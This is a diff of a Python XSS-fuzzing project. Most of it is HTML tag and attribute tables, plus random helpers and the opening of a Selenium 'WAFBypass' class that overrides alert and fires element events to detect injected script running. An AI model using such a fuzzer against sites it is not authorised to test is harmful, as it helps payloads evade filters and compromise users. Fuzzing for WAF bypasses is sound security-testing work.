|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('srcset', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'input': [ | ||||||
|  |         HTMLAttribute('accept', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('alt', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('capture', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('checked', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('dirname', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('inputmode', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('list', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('max', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('min', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('pattern', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('step', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget), | ||||||
|  |     ], | ||||||
|  | 
 | ||||||
|  |     'ins': [ | ||||||
|  |         HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate), | ||||||
|  |     ], | ||||||
|  |     'kbd': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'label': [ | ||||||
|  |         HTMLAttribute('for', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'legend': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'li': [ | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'link': [ | ||||||
|  |         HTMLAttribute('as', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('href', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('integrity', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('media', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('rel', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'main': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'map': [ | ||||||
|  |     ], | ||||||
|  |     'mark': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'marquee': [ | ||||||
|  |         HTMLAttribute('behavior', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('direction', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('loop', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('scrollamount', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('scrolldelay', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('truespeed', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'menu': [ | ||||||
|  |         HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'meta': [ | ||||||
|  |         HTMLAttribute('charset', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('content', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'meter': [ | ||||||
|  |         HTMLAttribute('high', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('low', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('max', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('min', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('optimum', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'nav': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'noframes': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'noscript': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'object': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('archive', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('border', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('classid', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('code', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('codetype', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('data', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('declare', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('standby', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  | 
 | ||||||
|  |     'ol': [ | ||||||
|  |         HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('reversed', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('start', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  | 
 | ||||||
|  |     'optgroup': [ | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('label', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'option': [ | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('label', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('selected', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'output': [ | ||||||
|  |         HTMLAttribute('for', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |     ], | ||||||
|  |     'p': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'param': [ | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'picture': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'plaintext': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'pre': [ | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'progress': [ | ||||||
|  |         HTMLAttribute('max', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'q': [ | ||||||
|  |         HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  |     's': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'samp': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'script': [ | ||||||
|  |         HTMLAttribute('async', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('charset', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('defer', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('integrity', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('language', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('nomodule', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('nonce', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'select': [ | ||||||
|  |         HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'small': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'source': [ | ||||||
|  |         HTMLAttribute('media', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('srcset', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'span': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'strike': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'strong': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'style': [ | ||||||
|  |         HTMLAttribute('media', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('nonce', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'sub': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'sup': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'table': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('border', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('cellpadding', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('cellspacing', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('frame', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('rules', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('summary', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'tbody': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |     ], | ||||||
|  | 
 | ||||||
|  |     'td': [ | ||||||
|  |         HTMLAttribute('abbr', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('axis', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('headers', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('scope', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'template': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'textarea': [ | ||||||
|  |         HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('cols', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('dirname', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('rows', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('wrap', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'tfoot': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'th': [ | ||||||
|  |         HTMLAttribute('abbr', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('axis', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('headers', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('scope', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  | 
 | ||||||
|  |     'thead': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'time': [ | ||||||
|  |         HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate), | ||||||
|  |     ], | ||||||
|  |     'title': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'tr': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'track': [ | ||||||
|  |         HTMLAttribute('default', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('kind', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('label', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('srclang', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'tt': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'u': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'ul': [ | ||||||
|  |         HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'var': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'video': [ | ||||||
|  |         HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('playsinline', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('poster', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('preload', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  | 
 | ||||||
|  |     'wbr': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'xmp': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'xml': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'xsl': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'svg': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('xmlns:xlink', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('xmlns:xml', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('xmlns:xsl', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('xmlns:xhtml', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('xmlns:ev', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  | } | ||||||
|  | |||||||
							
								
								
									
										43
									
								
								utils.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										43
									
								
								utils.py
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,43 @@ | |||||||
|  | import random | ||||||
|  | import time | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def rndstr(length): | ||||||
|  |     return ''.join(random.choice('0123456789abcdef') for i in range(length)) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def choice(arr): | ||||||
|  |     # randomize seed | ||||||
|  |     return random.choice(arr) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def rndunicode(): | ||||||
|  |     # randomize seed | ||||||
|  |     return chr(random.randint(0, 0x10FFFF)) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | def choice_percent(elements): | ||||||
|  |     # elements is a dict of {percent: action} | ||||||
|  |     # like following: | ||||||
|  |     # elements = { | ||||||
|  |     #     10: lambda: 'a', | ||||||
|  |     #     20: lambda: 'b', | ||||||
|  |     #     30: lambda: 'c', | ||||||
|  |     #     40: lambda: 'd', | ||||||
|  |     # } | ||||||
|  |     # that means we have 10% chance to get 'a', 20% chance to get 'b', etc. | ||||||
|  | 
 | ||||||
|  |     total_percent = sum(elements.keys()) | ||||||
|  | 
 | ||||||
|  |     # get random number | ||||||
|  |     rnd = random.randint(1, total_percent) | ||||||
|  | 
 | ||||||
|  |     # get action | ||||||
|  |     cumulative_percent = 0 | ||||||
|  |     for percent, action in elements.items(): | ||||||
|  |         cumulative_percent += percent | ||||||
|  |         if rnd <= cumulative_percent: | ||||||
|  |             return action | ||||||
|  | 
 | ||||||
|  |     # should not reach here | ||||||
|  |     return None | ||||||
							
								
								
									
										348
									
								
								wafer.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										348
									
								
								wafer.py
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,348 @@ | |||||||
|  | from selenium import webdriver | ||||||
|  | from selenium.webdriver.support.ui import WebDriverWait | ||||||
|  | from selenium.webdriver.chrome import service | ||||||
|  | from urllib.parse import urlparse | ||||||
|  | from urllib.parse import urlencode | ||||||
|  | from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType | ||||||
|  | from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags | ||||||
|  | from mutations import Mutations | ||||||
|  | from utils import choice, choice_percent | ||||||
|  | from threading import Thread, Lock | ||||||
|  | import random | ||||||
|  | import time | ||||||
|  | 
 | ||||||
|  | # WAFBypass class | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | class TagList(): | ||||||
|  |     def __init__(self, e): | ||||||
|  |         self.l = list(e) | ||||||
|  | 
 | ||||||
|  |     def __str__(self) -> str: | ||||||
|  |         s = "" | ||||||
|  |         for tag in self.l: | ||||||
|  |             s += f"{tag}" | ||||||
|  |         return s | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | class FuzzQueue(): | ||||||
|  |     def __init__(self) -> None: | ||||||
|  |         self.queue = [] | ||||||
|  |         self.lock = Lock() | ||||||
|  | 
 | ||||||
|  |     def push(self, tag): | ||||||
|  |         self.lock.acquire() | ||||||
|  |         self.queue.append(tag) | ||||||
|  |         self.lock.release() | ||||||
|  | 
 | ||||||
|  |     def pop(self): | ||||||
|  |         if len(self.queue) == 0: | ||||||
|  |             return None | ||||||
|  |         self.lock.acquire() | ||||||
|  |         element = self.queue.pop() | ||||||
|  |         self.lock.release() | ||||||
|  |         return element | ||||||
|  | 
 | ||||||
|  |     def __len__(self): | ||||||
|  |         return len(self.queue) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | class WAFBypass(): | ||||||
|  |     code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;" | ||||||
|  |     trigger = """ | ||||||
|  | var ids = {0}; | ||||||
|  | for (var i = 0; i < ids.length; i++) {{ | ||||||
|  |     var element = document.getElementById(ids[i]); | ||||||
|  |     if(!element) continue; | ||||||
|  |     // trigger all possible events click, mouseover, etc. | ||||||
|  |     var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture']; | ||||||
|  |     try {{ | ||||||
|  |         for (var j = 0; j < events.length; j++) {{ | ||||||
|  |             var event = new MouseEvent(events[j], {{bubbles: true}}); | ||||||
|  |             element.dispatchEvent(event); | ||||||
|  |         }} | ||||||
|  |         element.focus(); | ||||||
|  |         element.blur(); | ||||||
|  |         // trigger accesskey ctrl+alt+X | ||||||
|  |         element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}})); | ||||||
|  |     }} catch (e) {{}} | ||||||
|  | }} | ||||||
|  |                 """ | ||||||
|  | 
 | ||||||
|  |     def __init__(self, url, param) -> None: | ||||||
|  |         self.param = param | ||||||
